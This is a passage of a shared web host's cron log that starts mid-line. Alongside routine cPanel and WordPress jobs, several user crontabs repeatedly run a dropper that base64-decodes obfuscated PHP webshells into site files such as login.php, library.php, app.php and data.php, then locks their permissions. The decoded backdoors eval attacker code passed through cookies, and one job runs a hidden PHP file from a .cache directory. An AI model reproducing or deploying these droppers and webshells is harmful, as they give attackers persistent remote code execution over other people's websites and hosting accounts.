2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:30:02 medusa CROND[4990]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:30:02 medusa CROND[4994]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:30:02 medusa CROND[4997]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:30:02 medusa CROND[4999]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5002]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:30:02 medusa CROND[4988]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5000]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:30:02 medusa CROND[5005]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5009]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:30:02 medusa CROND[5007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 06:30:02 medusa CROND[5013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:30:02 medusa CROND[5010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:30:02 medusa CROND[5019]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:30:02 medusa CROND[5008]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5033]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5036]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 06:30:02 medusa CROND[5028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5041]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:30:02 medusa CROND[5035]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 06:30:02 medusa CROND[5045]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:30:02 medusa CROND[5047]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5046]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 06:30:02 medusa CROND[5037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:30:02 medusa CROND[5053]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:30:02 medusa CROND[5044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:30:02 medusa CROND[5029]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 06:31:02 medusa CROND[11349]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:31:02 medusa CROND[11350]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:31:02 medusa CROND[11351]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:31:02 medusa CROND[11352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:31:02 medusa CROND[11353]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:31:02 medusa CROND[11354]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:31:02 medusa CROND[11355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:31:02 medusa CROND[11358]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:31:02 medusa CROND[11357]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:31:02 medusa CROND[11356]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:31:02 medusa CROND[11360]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:31:02 medusa CROND[11361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:31:02 medusa CROND[11363]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:32:01 medusa CROND[16395]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:32:01 medusa CROND[16396]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:32:01 medusa CROND[16397]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:32:01 medusa CROND[16399]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
